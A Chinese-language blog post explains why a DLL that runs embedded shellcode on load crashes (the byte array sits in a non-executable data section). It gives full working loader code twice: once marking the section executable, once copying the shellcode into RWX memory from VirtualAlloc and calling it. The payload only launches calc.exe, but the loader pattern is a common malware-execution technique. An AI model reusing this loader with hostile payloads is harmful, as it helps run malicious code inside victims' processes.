前言
前两天有个朋友在群里问了一个问题，想要实现用dll加载shellcode，但是写好了代码遇见了问题，shellcode运行不了，于是就有了这篇博客
运行不了的代码
他把运行不了的代码发了出来
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
HANDLE hThread = NULL;
unsigned char shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D,
0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78,
0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75,
0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D,
0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF,
0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5,
0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
__asm
{
mov eax, offset shellcode
jmp eax
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
问题定位
其实我第一眼看着这代码感觉没问题啊，是应该能运行的，后来细看了一下，发现shellcode是一个大数组，编译成功后在shellcode数组是在数据段的，如下图所示
可看到，数据段是没有可执行权限的
加载dll，运行崩溃，异常代码C0000005，无权限
使用LordPE查看异常代码位置，果然就是shellcode的起始位置
解决方法
明确了问题原因，就要开始解决问题，在这里我提供两种解决方案
解决方案一
更改数据段可执行权限
再次加载，计算器成功弹出
解决方案二
方案一治标不治本，所以最好的解决方式是将代码改变，改为申请一块可执行内存，将shellcode放入这块内存中去执行，代码如下，为了省力，没有做错误检查
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D,
0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78,
0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75,
0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D,
0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF,
0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5,
0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译好后加载dll，正常运行shellcode